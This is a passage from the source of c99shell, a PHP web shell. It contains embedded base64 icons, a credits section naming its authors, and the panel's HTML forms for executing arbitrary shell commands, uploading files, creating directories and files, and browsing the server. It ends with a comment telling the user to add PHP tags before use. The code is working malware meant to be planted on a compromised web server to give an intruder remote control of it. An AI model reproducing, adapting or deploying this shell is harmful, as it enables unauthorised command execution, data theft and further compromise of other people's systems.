"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
"FxEAOw==",
"ext_js"=>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
"a00AjYYBbc/o9HjNniUAADs=",
"ext_lnk"=>
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
"ADs=",
"ext_log"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
"ext_php"=>
"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
"ext_pl"=>
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
 //For simple size- and speed-optimization.
 $imgequals = array(
  "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  "ext_html"=>array("ext_html","ext_htm"),
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  "ext_lnk"=>array("ext_lnk","ext_url"),
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  "ext_doc"=>array("ext_doc","ext_dot"),
  "ext_js"=>array("ext_js","ext_vbs"),
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  "ext_wri"=>array("ext_wri","ext_rtf"),
  "ext_swf"=>array("ext_swf","ext_fla"),
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
 );
 if (!$getall)
 {
  header("Content-type: image/gif");
  header("Cache-control: public");
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  header("Cache-control: max-age=".(60*60*24*7));
  header("Last-Modified: ".date("r",filemtime(__FILE__)));
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  if (empty($images[$img])) {$img = "small_unk";}
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  echo base64_decode($images[$img]);
 }
 else
 {
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  natsort($images);
  $k = array_keys($images);
  echo  "<center>";
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  echo "</center>";
 }
 exit;
}
if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";}
?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type="hidden" name="act" value="search"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type="submit" name="submit" value="Search"></form></center></p></td>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type="hidden" name="act" value="upload"><input type="file" name="uploadfile"><input type="hidden" name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type="hidden" name="act" value="mkdir"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type="hidden" name="act" value="mkfile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type="hidden" name="ft" value="edit">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="gofile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://r57.gen.tr"><font color="#FF0000">r57 shell</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
</body></html><?php chdir($lastdir); exit;
//add php tags before usage

?>